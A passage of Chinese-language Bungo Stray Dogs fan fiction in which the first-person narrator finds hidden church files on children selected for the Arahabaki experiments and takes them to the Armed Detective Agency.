他似乎洞悉了我的想法,给我展露了一个充满深意的笑容,“即使你感兴趣,我也不能把她交给你。银是港|黑的‘血管’,没有她的话,这么大的组织机器,该如何运营呢?” “您言重了,太宰先生。您才是,港|黑唯一的心脏。”银的手背在身后,语气平淡得几乎毫无起伏,情绪管控能力也太强了,“所以,请您不要再用自己的生命来取乐了,真的会显得您很傻。” “啊——连银也这么说啊,我好伤心。”宰子拖长音调,擦了擦眼角不存在的泪水,“我明明已经很努力地活着了啊。” “太宰你,难道想让我给你颁个奖章吗?”显然,中也才是那个宰子用自己冒险事件里,微词最大的人。 用自己冒险…… 今天所受的攻击,难道也是他用自己冒险的结果之一? 不,宰子是个人,他不是神,他不应该能够算到每一步……吧? 但,不管是不是,在中也看来,一切宰子受到的死亡威胁,都是他自己的作死行为。 想不通就直接用结果论归类,没毛病。 宰子撑着下巴,仔细思考了几秒,“不……完全不敢想象中也的品位会做出什么样的东西来。要奖章的话,果然还是银的奖章更有吸引力呢。” “如果真的想要奖章的话,就请您好好地认真起来吧——首领大人。”银垂眼,冰冷的眼神只有在看到宰子的时候才带上了温度。 原IF线上的银的心情我不得而知,但这个银绝对是打心底里尊敬宰子的。 如父如师——满心满意找妹妹芥川君,位置被完全取代了呢。 允悲。 “认真……吗?”宰子向后一靠,用力地伸展着身体——已经没有了椅背,他却向后维持住了一个微妙的平衡,“也是呢,都被人家打上门来了,要是什么都不做,也不是我太宰治的风格。” 中也的表情移动,眼神挑了起来,“终于打算动手了?这段时间你这家伙的那副半死不活样子,我还以为你打算从这楼顶上跳下去了。” 中也桑,一不小心说出了什么充满暴击的话了呢。 “谁知道呢,说不定我什么时候就跳下去了呢?”宰子哼哼着说了这么一句,和他日复一日说的那些地狱笑话没有区别,不论是中也还是银,都没有多重视。 只有我知道,宰子是认真的。 他的眼神,只有站在他正面的我能看到。但意外的是,那双黑暗的眼神中,却并不似那种无所谓生死的消极,反倒有一丝异常的生机。 难道是因为……我? 不是我自恋,这个宰子对生存的一切欲望,都来自于好奇。 我显然带来了一些他从前没有想过的概念。 “我倒是有怀疑的人,白色的长西装,很难不让人多想。”从Dead Apple到死屋之鼠,再到天人五衰——说真的,某位好心的俄罗斯人,似乎真的对这种纯粹的颜色极有偏好。 不需要言明,宰子似乎就已经了然了我的答案,紧接着就直接摇头否决,“像他那样的人,如果不关注着,说不准什么时候就会弄出什么乱子来。” 他需要的,是一个稳定的横滨。 也就是说,陀总一直在他的关注——甚至是监控之下了? 搞事名单上的首名,痛失一次当BOSS的机会。 那会是谁? 真的要从猎犬这方面下手? 不是我说,那个制服,真不像是猎犬的服装。 即使真的要换制服,也不至于陆军色变海军色吧? 可看看这环岛的国家地形,好像换海军色,也没有什么问题? “铁肠——全名末广铁肠,”我顿了一下,将这个信息给到银,保守地开口,“据我所知,或许在特殊部队里有过服役,是异能力者。” 宰子对银点了点头,后者对他标准90度鞠躬,“我马上去查。” 银一秒都没犹豫,迅速退了下去。 我没有开铁啾的上帝视角,希望港|黑的情报能弥补这一块的缺失。 “如果能知道我的行踪,那今天就不是最好的机会,昨天才是,所以目标非我。” 宰子昨天离开过港|黑大楼,即使有中也在身侧,那时也比现在更容易下手。 “你在横滨招摇过市,更无防备。武装侦探社的毫无了解、毫无防备根本算不上庇护,对你的下手时机亦在今日之前。所以目标也非你。” “如此算来,只出现在此时此刻,能够作为目标的就只有一样了。” 我沿着宰子的视线看过去,那被倒塌的桌子压在黑暗之中的唯一光亮,是「书」。 不论铁啾为谁工作,目标都很可能是这个东西。 或许不是夺走、不是破坏,但他的行为,一定与「书」有关。 第74章 铁啾行动的目的为何暂且无法定论, 但他的行动本身却已经盖棺定论。 港|黑大楼被削了顶,即使中也和我及时用重力稳住了楼顶,几个承重柱也很快撑起了屋顶结构, 维护修复的速度也奇快无比。 但, 像港|黑大楼这样的横滨地标,天然就有无数双眼睛盯着,哪怕是只是分毫的异样, 都会被无限放大。 即使这次攻击并没有什么实质性的进展,但权威这种东西,只要被挑开一个口子,接下来就是无尽的深渊。 这也是宰子必须要主动出手的原因。 报复在次, 震慑才是主要目的。 哪怕没有找到幕后黑手, 港|黑也必须要推一个背锅王出来。而且要以最快的速度响应,让所有人看到和港|黑作对的下场。 当然,更重要的是加强防御力。不管怎么反应,一旦类似的挑衅在短期内再次发生的话,就算杀再多的人, 威望都很难挽回。 口子一旦打开, 黑暗中就会有数不清的敌人涌动,过度扩张带来的不稳定, 很有可能会显现出来。 即使是大象也会被蚂蚁所噬。 哪怕是在宰子的应对之下, 我游荡在横滨的几天,也能明显感觉到风声鹤唳。阳光下暗流涌动, 不知道有多少人、多少势力整装待发, 只等港|黑露出破绽。 甚至, 连横滨政|府也在其中——诚然, 他们不愿意看到港|黑的倒塌, 可如今的形势远没有到那个地步。只要宰子还活着,不论是别人对港|黑的信心,还是港|黑对自己的信心,便都不会被动摇。 但,任何人都不会拒绝从港|黑这个庞然大物身上咬一块肉下来的机会。 说到底,大家都有自己的小心思,只是从来没有人敢做第一个出头鸟罢了。 如今,铁啾已经做了那个出头鸟。 港|黑如今想要重新稳住局面不难,但也绝对不易。 只不过,那些都是宰子需要担忧的问题了,我有我自己的节奏。 我只身离开了风声紧凑的港|黑,「书」也暂时还放在宰子手里。 不是我不想拿走,也不是宰子不给我——说实话,他真是大方得让我害怕。 他完全明确地表示,自己对「书」已经失去了兴趣,能够探索的东西已经全部都挖了出来,而那些挖不出来的东西,就算再浪费时间,结果也不会改变。 所以,他根本就不排斥我带走「书」,甚至想看着我挖出更多「书」的力量。 但,我也试过了。不论如何尝试、不论那股力量如何清晰明了,我就是碰不到。 连我写在上面的字都会消失,明明宰子在上面乱画都会留下痕迹! 「书」这个东西,还搞穿越歧视的吗? 看得到却得不到,「书」是懂如何吊人胃口的。 简直就像是……上锁的力量。 这个关键词一下就触动到了我。 “白虎是寻找「书」的唯一钥匙”——这句话也可以理解为,白虎是寻找「书」的力量的钥匙,也即,敦敦打开「书」力量的钥匙,对吧? 不论如何,这个在小野狗开头就崭露头角的初始设定,一定有其存在意义。 「书」是宰子在下水道里找到的,获得「书」的时间,尤在他找到敦敦之前——甚至可以说,就是在「书」中看到的一切,促使宰子主动去孤儿院寻找了敦敦。 换句话说,是「书」引导宰子找到了敦敦。 锁和钥匙说不定是相互吸引,就像宿傩手指之间的相互吸引一样,及时反派获取力量的钥匙、也是正方获得胜利的机会。 既矛盾、又相合。 即使只是推测,这个推测也有九成以上的把握,契诃夫之枪绝对是任何故事的铁律。 但是,有钥匙是一方面,如何使用就是另一个问题了。 我甚至让敦敦变白虎尝试手撕「书」,但「书」这种完全物质,是不会轻易被破坏的。 想要把敦敦捞到我身边多试几种可能也不行,宰子把敦敦派出去了——本就是港|黑风声最紧的时候,内外人员都收着,像他这样有名声的“白色死神”当然没有时间休假和我出去浪。 宰子不会同意的,他几乎是在按照中也的标准培养敦敦。 毕竟他一死,继任的若是中也,那么首领和干部的工作就必须分开,他这个冲锋陷阵的位置就要有人替代。 宰子选定的,应该就是敦敦。 即使,他现在的计划有变,但已经开始的培育却不会停止。 就我的观察来看,宰子还是很希望看到敦敦成长结果的。 我摩挲着损坏的手环,对着光观察内部损坏的结构。 这里面存储的咒力已经全数消散,穿越的定位也不知道能不能重启,至少将其放在「书」上是P用没有。 到底只是一个工具,手环本身没有自我意识。 几番周折游荡,我按照自己经历和记忆中的几个关键在横滨摸索了一番。 果然,这个世界看上去是小野狗的平行世界、一条以主线为基础的IF线,实际上却和主线世界相去甚远。 别说是各方势力组织的变化,哪怕建筑路线都有诸多相悖的地方。 世界线之间的交集和错位就是如此神奇。 幸好武装侦探社这种主角团组织称得上是世界锚点,不会轻易挪动。否则那一天,我要是扛着敦敦敲开陌生人的门…… 我都不敢想我会尴尬成什么样。 好在,那天开门的是妹控郎。 我一边感叹着,一边又嗦了一口面。 这家店来自社长的亲情推荐,味道确实不错,这个时间也足够清静。 随手翻看着银送来的资料,上面记录了铁啾在横滨留下的所有痕迹。 和预想中的一样,横滨就是名副其实的日漫哥谭,主打的就是深渊,一切结局归于源头,不会让任何人有走出去的机会。 末广铁肠果然也是在横滨出生的本地人,甚至是出生在精英家庭。 根据银找到的出生资料显示,他的父亲曾经是军警内部的高官。只是那位“父亲”在十五年前的镭钵街爆炸事件中殉职。 看到其父的军警职介,我便轻易联想到原作铁啾的未来。 或许原作中他的父亲没有死亡,所以才引荐铁啾进入了军警,甚至最终成为了猎犬五人中的战力最强? 但是,这个父亲都把铁啾这个私生子扔到教堂门前自生自灭了,难道世界线在这一点上也发挥了自己的蝴蝶效应吗? 教堂的记录资料非常短,一个年幼孩子的成长着实乏善可陈,特别是这个孩子在话能说全之前,就在某一天突然失踪,之后也再没出现过。 “奇怪了。”我的手指摩挲着资料页脚。 如果我没有记错的话,猎犬五人组都是非常规的异能力者,甚至需要定时接受身体改造和调整。 这说明,铁啾没有天然的异能力,或是其天然异能力没有现在的强度。 否则,身为军警高层,他的父亲没道理将这种力量丢掉。 更奇怪的是教堂。 这个教堂的地址,我其实并不完全陌生。 想当初,我还在这里丢掉了我的隐形眼镜,那个眼睛还成了后来陀总攻击我的线索之一。 难不成,全横滨就那一个教堂,竟然在我的记忆里出现了两次。 而且两次都相当有存在感。 没那么简单。 我随便找了家网吧便开始搜索教堂的相关资料。 公开的信息很好搜集,那毕竟已经废弃多年,早就没有了繁杂的新鲜消息,都是些陈年往事。 教堂嘛,无非就是那些关键词:仁爱、和谐、信仰…… 没有营养。 我的鼠标快速向下滑,箭头一顿,我突然看到了另一个关键词——失踪。 我尝试点开网页,浏览器上却只有404的显示。 页面未找到。 但搜索栏是可以看到的,也就是说——网页被删除过? 网络上的痕迹很难被完全抹消,网页本身虽然被删除,但搜索栏上留下了痕迹。 有痕迹、就能恢复。 别的技术不行,恢复删除网页的技术,我也是专门练过的。 难道那次的景光是白COS的吗? 花费了一些时间,我总算是看到了网页的原貌。 “深入报道儿童诱拐……”我的眼睛快速扫过一行行的文字,大脑对翻译的处理已经越来越熟练,“像是调查记者的报道——被删掉了。” 不仅仅是报道被删掉了,连这个记者也被“删除”了。 我狠狠地皱起了眉。 说实话,报道的主攻方向是儿童诱拐,记者显然深入调查到了一个拐卖窝点之中,甚至以身犯险。 报道详细记录了调查过程,甚至还附有军警的处理结果。 十几年前的横滨局势确实混乱,真正能执行警察职能的,确实只有军警。 这一点本不奇怪,但当“军警”这个词频繁在铁啾关联项中出现的时候,就显得不那么正常了。 ——由无数个合理组成的不合理。 报道只在最结尾处提及了记者察觉到的失踪名单,旨在号召更多的力量寻找这些孩子。 我很快发现,恐怕就是这份名单,给记者招来了杀身之祸。 事无巨细地比对过名单时,我不仅在上面找到了铁啾的名字,还发现了几个同样在教堂内消失的孤儿幼童。 每一个消失都经得起推敲和调查,教堂也都报过失踪。 只是那时候的横滨,根本抽调不出足够的力量,只能不了了之。 合理的卷宗里,透露着隐秘存在的违和感。 不对劲,十分有十二分的不对劲。 这座已经被时间埋葬的教堂,这座在十五年前彻底清空的教堂之中,一定有什么隐情存在。 真正的隐秘,在网络上是找不到真相的。 我关掉电脑,付了网费,一刻不歇地动身前往教堂。 第75章 果然是停运许久的教堂, 看上去已经荒废多年了。 庭院内杂草丛生,石子路上铺满了荒黄的树叶。红色的砖石上长满了生机勃勃的爬山虎,彩色的窗户历经风吹雨打, 已经布满了污渍, 甚至有不少地方被不知哪里来的石子砸出了窟窿。 确实饱经风霜,看上去久未有人踏足。 我轻松翻过生锈的铁栅栏,推开了布满灰尘的木门。 “咳咳——” 空气中不仅有灰尘还有不少木屑, 大门已经有一部分开始腐烂松懈,圣坛中不仅不剩一点水渍,就连坛身本身的花纹也褪了色。唯剩下几道错乱的黑线还屹立不倒,可就连这一点黑色还像是被谁随手涂上去的, 没有花纹的衬托, 显得很是潦草。 我的擅自闯入显然惊扰了这里的生态圈,老鼠“叽叽”地逃窜,墙上的蜘蛛爬动着撤回了蛛网上,屋顶破碎的天窗下,还住着几窝鸟雀, 叽叽喳喳地冲出了教堂。 我跟着声音抬头, 就发现顶上的吊灯也被蛛丝密集得缠绕。 不论这里曾经有过如何的辉煌,如今都是无人踏足的荒废之地了。 蛛、虫、鼠, 这些虫豸已经占据了神圣之地, 成了它的新主人——不,或许是最初的主人也说不定。 正是这种生态状态让我确认了这里的空虚。 至少, 最近是没有人进入过这里。 我走过礼拜堂、穿过布满宗教画和神像雕塑的走廊, 一直穿到后院。 肉眼看上去, 这个教堂很正常, 几个可疑的地方探查过去, 都没有一点暗室的痕迹。 难道是我想多了? 这里只是一个经营不善的教堂? 只是一个建错了地方的教堂? 我皱眉,判断失误了?这里只是因为横滨人都没什么信仰才造成了荒废吗? 不,我不信。 这里的地段并没有偏到郊区深处,距镭钵街也就两三公里的距离,没道理一直荒废着无人踏足吧? 我沿着楼梯走上了顶层的窗台——奇怪的是,这个窗台没有开在阳面,反而是个背光到一整天都难有光的位置,侧面的塔尖甚至刻意挡住了阳台凸出的围栏边缘。 这样一来,这个窗台就背光无风视野狭窄,完全失去了窗台应该具备的所有功能。 我站在边缘,回凹的窗位再加上其他设计,这个角度能看到的,便只有一个方向。 一个巨大的坑洞,和深坑外的海岸线。 ——那是镭钵街,杂乱无章的建筑密集地挤在坑位中,侧着的、斜着的、歪着的,那些房子仿佛随时会倒塌、甚至会压到一片,可多年来,外面的建筑换了不少,里面的一切却都持续屹立不倒。 教堂在观察镭钵街? 说实话,以镭钵街的“名气”,教会组织会关注是再正常不过的事了,多好的宣传素材、多方便掩人耳目,没必要偷偷摸…… 不对! 我一巴掌拍在栏杆上,荡开了厚厚一层灰,被雨水侵蚀过的铁锈沾在掌心内。 教堂的废弃是在十五年前,那其建立的时间一定更在那之前——而镭钵街真正成型出名也就十来年的事。 这个窗台被设计出来的时候,镭钵街还不存在呢。 但方向却不会错,在镭钵街之前呢,那里是什么地方? “是「荒霸吐」的实验基地。”我低声的自言自语。 那是中也失控爆炸产生的地方,此前自然是中也的栖息地。 教堂在观察的,就是那里。 “军警、政府、镭钵街——” 一种熟悉的套路扑面而来。 这几个关键词连在一起,我用脚都能想到是怎么回事——要么是正义的对抗,要么是同流合污。 这阳台的目的性也太明确了。 如此一想,甚至连教堂的关闭时间都显得可疑起来。 我一转身,在阳台门框顶上看到了一个黑色的纹标——黑×。 这个风格是……好像,有点眼熟? 这不是什么复杂少见的标志,看上去也很潦草随意,仿佛是有谁顺手画上去的一样。 但它的风格太眼熟了,一定是我在短时间内重复见过的东西。 “圣坛!” 我脑内灵光一闪,圣坛边缘,唯独剩下的黑色,是和这黑×一样的潦草笔体。 只是,圣坛上的黑色不是叉。 我原路返回,蹲在圣坛下仔细观察。 像这样有粗壮石柱支撑的台子,我都是摸索过的,并没有暗门,而且也是实心的石头。 “这里,是接缝?”我沿着黑色的标记向内观察,手指擦掉角落的灰尘和蛛网后,便看到了长方形的祭台石柱和上面放置的石制圣坛之间的接缝。 我还以为,这是一体的建筑。 这么重的石头,竟然是放在石柱上的吗? 普通人可搬不下来。 但我就不一样了,有异能力的话,轻松就能用重力将圣坛挪开。 有夹层! 还真是内有乾坤,虽然下面的石柱都是实心的,但在最顶端,一个和圣坛相切的接口处,却有一个一寸高的空间。 在这个空间里,存放着一个瘪瘪的牛皮纸袋。 有东西。 我吹掉上面的灰尘,将牛皮纸袋打开——虽然表皮有些脏,但里面的东西却保存完好。 厚厚一沓,全是资料——名字、年龄、身高体重、父母信息、异能力情况、DNA检测、身体素质评估…… 一张纸上没有一点废话,间距也极短、密密麻麻全是字,从开头到结尾,这些资料信息的跨度长达十数年。 而照片上,那一张张面孔,赫然都是幼童。每一张脸上,都有红色的“PASS”印章,像是通过了质检的猪,让人生理不适。 第一眼、第一张,我就看到了在那位调查记者名单上,失踪儿童的名字——果然就是被教堂收养的孤儿。 不——看着上面记录完整的父母信息,这可不是孤儿。 不仅不是毫无依靠的故而,其父甚至是军警高官。 和铁啾一样,这消失的孩子,也是私生子。 我心里一凉,即使没有翻下去,我也已经有极不好的预感和猜测。 我一张张迅速翻过去,在页脚上看到了批次的标志——这些人并非都是同一批次的孩童。第六批、第五批——我很快就在中间找到了铁啾的名字,“末广铁肠,三岁。” 这是他三岁时的资料,照片也是三岁的铁啾。“PASS”的S挂在铁啾脸侧的三点泪痣上,仿佛和画面融为了一体。 再往下翻,更前一批之中,竟然还有熟人。 而且是意料之外,却情理之中的熟人,“条野采菊,三岁。” 这两个人,竟是从同一个机构里走出来的! 这不会是什么猎犬养成计划吧? 想要打造忠诚的战士、想要培养强大的力量,当然要从小而起。 可这和镭钵街的方向有什么关系——难道说,那个实验室里的项目,不止一个? 「荒霸吐」这样的东西,竟然不值得一个单独的实验室吗? 这股力量,稍不注意就会带来灭顶之灾;这么重要的力量,只要有安全装置控制,那绝对至少是超越者级别。 连老森头邪恶的不死军队都值得一个单独的“试验场”,「荒霸吐」竟然不值得? 我一边思绪飞起着思考各种可能,一边把铁啾和采菊的资料抽出来放在手边,一边继续翻着那叠资料。 还有几个能和失踪名单对上的名字,所有人的录入年龄都在两到三岁,其中三岁居多、男孩居多,军警高层私生子居多。 ——事实上,用“居多”这个形容,都算保守了。 而且,我在诸多孩童“父亲”一栏的名字上,看到了一次又一次的重复。 甚至包括了铁啾和采菊。 那俩人有一丝一毫的相似吗? 阿门啊,我还嗑过他们俩的CP,怎么一转眼CP就变成亲兄弟了! 骨科随香,但不能真的在我认知的现实里舞到我面前。 在离开这个世界之前、在这个世界对我来说变成漫画之前,暂时停嗑一段时间吧。 信息太炸裂! 更炸裂的是,“母亲”那一栏所体现的人种多样性。 就像是为了控制变量,测试不同的资质一样,同一个父亲名下,母亲一栏有黑人、白人、黄种人。有高矮胖瘦、不同年龄段、不同出身学历、不同职业类型的各种人。 简直就像是在集邮,像是在实测。 尤其是当我翻到了最下面的第一批孩童,发现里面几个女孩的名字,竟然和后面几批“母亲”一栏的名字一样的时候。 我感到眼前一阵发黑,细思极恐—— 稍等,让我缓一下,我脑仁有点痛。 这究竟是在做什么? 我揉着眉心,手背上的荒纹都因为自己激烈变动的情绪而刺痛起来。 “那些群龙无首的混乱日子里,究竟还有多少这种不为人知的黑暗?”我越发的认为,港|黑的存在实在太有必要。 这是个比主线更黑暗的世界,横滨的黑暗早已积重难返,三刻构想里相互制约的稳定根本无法压制IF线的状况,这里需要一个足够压倒一切的庞然大物来制定规则、强制执行规则——直到大家的身体和意识都习惯这些秩序,就会主动退后一步的组织。 要庞大,但却不能冗余;要强硬,但却不能暴戾。 港口黑|手|党绝对不能倒台。 ——我的这一认知从未如此清晰过。 利用铁啾对港|黑发动攻击的人,说不定就是黑暗的既得利益者。 宰子比那些污秽的黑暗更加纯粹,他能看到这些弊端和更远的未来,也只有他能在如此强大的利益面前,做出更长远的选择。 不论是谁要搞事,都得尽快掐断才行。 我决定在这件事主动一点,毕竟我奉行的干涉主义已经不是第一次践行了。 我调整重力,将圣坛重新放了回去,还贴心地把灰尘都重新覆盖好。 细节决定成败。 手里的这些资料,我也打算收回牛皮纸袋里一并带走。 就在拿起纸袋的瞬间,一张薄薄的资料从里面滑落出来。 和这些资料都是相同的大小,但上面似乎没有照片贴着,于是显得更轻、更薄。 是我刚才往出倒资料的时候,漏了一张吗? 我蹲下来将其捡起,眼睛自然地落在那细密微小的文字上。 “等、这——?!” 我的声音哽住了,瞳孔骤缩、动摇倒了地震的程度,攥着牛皮纸袋的手指一松,连带着那些整理好的资料也一并掉落,散在地上。 但我却顾不得那些,只是一心一意地注视着最后这张被落下的资料上,红字标注的名字。 “中原、中也……” 第76章 我做梦也没有想到, 竟然会在这里看到这个名字。 中、原、中、也! 红标名字。 不知是错觉,还是因为没有人脸作为参照,他资料上的“PASS”都显得格外大。 会是同名同姓吗? 不, 至少在小野狗的世界里, 绝不可能。 这些名字都有特别指向、对应着现实世界的文豪,不大可能出现重复现象——这是世界的基础设定。 即使真的有极端特例,这个名字也不会出现在镭钵街的附近, 上面的信息也不会如此贴合。 中也的素质极佳,他的身体强度并非最高,但他的可塑性却是最好。 资料最后的评语是“先天受体”。 咳——不要想歪,这句话的意思是在强调中也的承受能力。 严肃地想, 中也需要特别承受的唯一对象, 就只有「荒霸吐」。 也就是说,这一沓资料所指向的,根本就不是我一开始猜测的“猎犬”养成计划,而是「荒霸吐」安全装置遴选计划。 仔细想想的话,不论是采菊还是铁啾, 他们都有一些异能之外, 超乎寻常的部分——比如铁啾的“钢铁之躯”,比如采菊的“超级听力”。 这就是身体加强的结果。 看中也使用“污浊”的状态就知道, 「荒霸吐」那种力量不是人类之躯能够承受得了的。 实验都已经进展到中间批次, 会想办法率先尝试强化人类之躯是必然的选择。 这个情报点,甚至能和未来猎犬那定时改造身体的剧情对应。 或许就是因为强化过度, 所以才会出现那样的损耗过快的状况。就像一个功率过高的道具, 对电池的消耗太过, 所以需要尽力不断更换配件。 听起来就很反人道。 我一合计, 组成猎犬的成员里, 大仓烨子还有立原道造该不会也有类似的经历吧? 虽说立原的背景故事里,并没有提及这些,但他们毫无疑问也和军队、军警相关。 即使二人不在现有名单里,但我手上这份记录,只是这座教堂内的阴暗勾当。我不相信,涉及「荒霸吐」这样的力量,会只有一个地方输送素材。 我手上的这些,恐怕只是冰山一角。 那,主导这一切的人究竟是谁? 我眉头一皱,脑子里无端浮现出的就是福地樱痴的脸。 那个人猎犬创始的名头、在军警内持有特权,又勾结着天人五衰,有名、有权又有野心,有动机有能力。 像是每一条都对得上。 至少,他在军警内掌权,就应该有机会接触到这些信息。 只有拥有知晓一切能力的人,才有机会将他们都聚集起来。 我只是无法详细得知,福地樱痴遴选、收服他们的手段。 可窥一管而知全豹,看立原道造的例子就知道,只要足够了解他们的背景,想要煽动他们着实不是什么困难的事。 更何况,福地樱痴对自己的正义执着而坚定——不论是作为猎犬要“守护秩序”的正义,还是作为“神威”要重新建立一个没有异能世界的正义,他都做好了走上荆棘之路的准备。 所谓“若无红莲业火,何来净琉璃世界”,只有这样的人才有能力说服他人追随自己。 越分析,我越觉得福地樱痴的嫌疑巨大。 以结果来逆推过程的话,甚至连铁啾的那身白衣服都能解释得通。 「天人五衰」中的成员,不是也都很喜欢白色调调吗? 我重新搜索了教堂的每一个角落,这次没有再在哪里发现黑色的标识。 这个废弃之地的价值,便就只有这些了。 我将自己进入其中的痕迹抹掉,仔细检查过后,才悄无声息地翻身离开。 这种地方、涉及过这样隐秘之事,谁知道哪天就会有人搞一搞突然袭击,我暂时还没有打草惊蛇的打算。 “福地樱痴……” 这个人的地位可微妙得很,想要直接杀死他非常困难。且不说他的行踪难辨,就单是他那被称为“活的传奇”的战斗经验就很难对付。 更何况,二话不说就直接用杀戮来解决问题也不是我的风格。 毕竟到目前为止,一切都只是我的猜测。 “果然,专业的事,还得交给专业的人。” 兜兜转转,我离开港|黑没多久,马上就又转回了侦探社的门口。 这一次,我没有再挑清早的时间,而是选了个半下午。主线中重要的咖啡厅在此时尚不存在,一楼是个旧书局,里面相当冷清。 和它相比,楼上就热闹许多。 侦探社有乱步这个活招牌在,即使巷子再深,也总有找上门的委托。 “您好,这里是武装侦探社。” 开门的是国木田麻麻,看来今天是他值班。 我扫视了一眼,发现除了虚掩着的医务室门,这里就只有他一个人在。 “我找乱步先生。”我冲着国木田麻麻微微颔首,也不客气地径直走向了沙发软椅。 “非常抱歉,乱步先生手上还有未完的委托,现在不在侦探社内,请问您是有事件要委托给乱步先生吗?”国木田不愧是有麻麻属性的人,他完全不介意我的闯入,反而非常顺手地给我泡了杯热茶,“您和他,有预约过吗?” “是有事,但今天没有预约,”我抿了一口茶水,“乱步先生不在的话,福泽先生呢?上次忘记留他的联系方式了,今天我要推进的事,没有他很难开始。” 国木田麻麻愣了一下,他大概没有想到,竟然还有人会委托到社长头上。 除了异能特务科和政|府,很少有人会指名社长。 他的态度顿时谨慎了起来,“方便我询问委托的详细内容吗?” “倒没什么不方便的,只是不想重复解释一样的话啊——”我耳朵一动,那熟悉的脚步声已经踏入了一楼走廊,“而且,他们应该马上就到了。” 乱步大人,从不加班! 不论是什么疑难杂案,都是眼镜一戴,真相就来。 选择这个临近下班的点来拜访,果然是正确的。 国木田麻麻的耳朵没有我灵,他听不到社长的脚步,还对我的发言疑惑了几秒。 直到电梯在走廊中发出了“叮”的一声,他才意识到,有人回来了。 果然数秒之后,乱步大人就推开了门。 看到我,他并不惊讶。 虽然不能未卜先知,但我从楼下到楼上,大概也是留下了一点痕迹的——比如脚印、比如气味、比如被气流带动的灰尘的方向。 乱步眼里的线索,不是常人能够察觉到的。 “虽然想说你的委托没有那么快,但——”乱步一屁股坐在我对面,身上像没骨头一样融入了沙发的软垫之中,“你并不是为了之前的委托来的。” “不愧是乱步大人,果然好眼力。”我“嘿嘿”笑了几声,和社长交换了一个问候的眼神后,这才开始直入正题,“都已经临近下班,我就开门见山地说了。前些天港|黑受袭的事,你们应该都有所察觉吧?” “嗯,那么大的动静,着实很难忽略。”社长口中的“大动静”可不是每个人都意识到的。 刚从学校离职的国木田麻麻一愣,惊讶道:“谁遭受了袭击?那个港口黑|手|党吗,怎么可能!” “不用怀疑,我当时就在里面,是一手消息,连房顶的支撑还有我一份功劳在。”我根本就没有掩饰自己和港|黑私相授受的事实。 该真诚的时候,一定要真诚,我并不理会国木田麻麻那变得怪异惊恐的眼神,甚至没有解释自己和港|黑的关系,就继续开口,“当然也是有几个怀疑对象,尤其是袭击者的身份。我认得那张脸,太宰忙着稳定局势,我就抽空去查了一下——没想到,还真是查到了点不该让我知道的东西。” 说着,我将牛皮纸袋放到了桌上,铁啾的资料被我整理到了最前,只叫他们一眼就能看到关键。 不过,我倒是在路上把中也的名字暂时抽了出来。 关于他的事、关于「荒霸吐」的事,我还是打算在公示之前,和中也本人先聊一下。 隐瞒了中也的情况,其他的东西我几乎事无巨细地交代了出来。 从繁杂的信息里提取关键、并进行推导,这正是乱步的长项,他也一向最为积极。 但这一次,最先变了脸色的,却是社长。 他看着国木田翻过那些触目惊心的资料,那一个个幼童的名字和照片,大脑中本能就会构建出这些面孔的骨相特征。 人的皮相是可以变的,但骨骼轮廓却相对固定,作为政|府的“银狼”,识人本真是他的长项。 “停。”社长少有地打断别人的话,伸手从国木田麻麻翻看的资料里,抽出一张来,紧锁的眉头仿佛昭示了他的心情,“这个人,我几年前曾在一位……老友的身边,见过。” 我伸脖子去看,果然—— 条野采菊。 第77章 我从CUP疯狂转动——啊, 好像是CPU。 社长的“老朋友”,我几乎不假思索就能说出福地樱痴的名字。 毕竟,和社长一个级别、能称得上朋友的异能力者并不多少。 不是福地樱痴, 难道还能是老森头吗? 我不信。 “嘶——”但这是IF线来着, 我突然有点不敢断言。 “方便请教一下,您的这位‘老朋友’是指——福地樱痴?” 社长听到我的话有一瞬间的愣神,“你认识我的老友源一郎?” 差点忘记了, 他们两人之间还有个“爱称”。 但看社长的反应也知道,他口中的“老友”确实是在说福地樱痴。 “怎么说呢……我认得他,他也认得我,但我们之间却算不上相识。” 我知道福地樱痴, 而福地樱痴也很有可能参与了荒霸吐计划, 自然也不会不认识我现在的身份。 但是,抛去这些唯心主义,我们之间充满了陌生感。 甚至就连上一次穿越主线,我和福地樱痴的接触都不算多。 “不过,虽然不相识, 但我却有我的怀疑。”这一点上, 我倒是没有掩饰、也没有顾忌社长和福地樱痴的战友情,捻起采菊的资料, 父亲一栏上的名字, 是社长一眼就能认出来的,过去福地樱痴的下属, “此事, 若无军警内部的资源, 是绝对无法实际推进的——而且, 这不仅需要内部资源, 需要的还是高级军官的资源。” 更重要的是,这些大大小小的涉事军官,在后来阻止非洲阿米尔政权虐杀难民、给福地樱痴与美国不死异能者「WASP」的决斗善后,以及在北欧组织吸血种大面积感染等事件里,都断断续续死绝了。 当想通了这一点后,一切逻辑都通畅起来。 而我都能想到的东西,难道乱步会想不到吗? 他扫资料的速度非常快,得出结论也只在几秒之间。 “社长,就算不想相信也没办法的哦。” 不知什么时候,乱步已经戴上了自己的眼镜,密密麻麻的文字在他的脑海中转化成了线索、编织成网,铁啾、采菊都是这些网络上发光的点。 正是这些点,一颗一颗组成了通向中央的通道。 “这样的事既然敢做,就绝对不会留下痕迹。想要确信的话,是很麻烦的。但——”乱步摸着下巴,翠绿色的眼睛里塞满了我看不懂的东西,“即使不能确定最中心一点,也至少能确定其关联性。” 别的不说,就单论这些“父亲”的名字,就一个赛一个的眼熟。 尤其是对社长来说。 他也曾在政|府当中任职,帮政|府做过许多无法见光的事。在此之间,自然也会不可避免地和军警产生联系。 他和老森头之间的关系也是在那时建立的。 福地樱痴比老森头更早,从某种意义上来说,甚至是他的前辈。 此人性格爽朗直率,为人热情,极富正义感,是社长都会尊敬的人。 这样的人,怎么看都不像是会被卷入资料上这种事件的人。 但,连乱步都隐隐表达出了对结论的推测。 说实话,想要做到滴水不漏并不容易,想要做到这种让乱步都无法一锤定音的情况就更难。 不是谁都有这个本事,能做到这些的人屈指可数。 而恰巧,福地樱痴就有这种本领。 “你是想知道什么,还是想委托什么?” 社长不是死犟的人,相反,怎样惊奇的事,他都经历过了。 他直入正题,我既然找上门来,自然不会毫无目的。 “福地樱痴的信息很难查,让港|黑去的话,也不是不行。但,若真是他,自然那会时刻关注者港|黑的情况,容易打草惊蛇。” 我不是没有想过直接和宰子通气,但如果我是幕后主使,那我一定会时刻关注港|黑的动向。 任何情报搜集都是有迹可循的。 只要能关注到这一点,那理论上来说,就能永远领先于对手。 但同样的道理,也适用在福地樱痴身上。 我的存在对他来说极端熟悉却又极度陌生,更为重要的是,我的来源并非这个世界能够查到——他或许有「书」的残页,但平行世界的窥探不是一页能够做到的。 或许,那一页可以为他提供一些思路。 可终究我的情报量屈指可数,他只要有动向,就已经会被专注于此的银察觉。 在这种制衡之下,反倒是侦探社更容易行动。 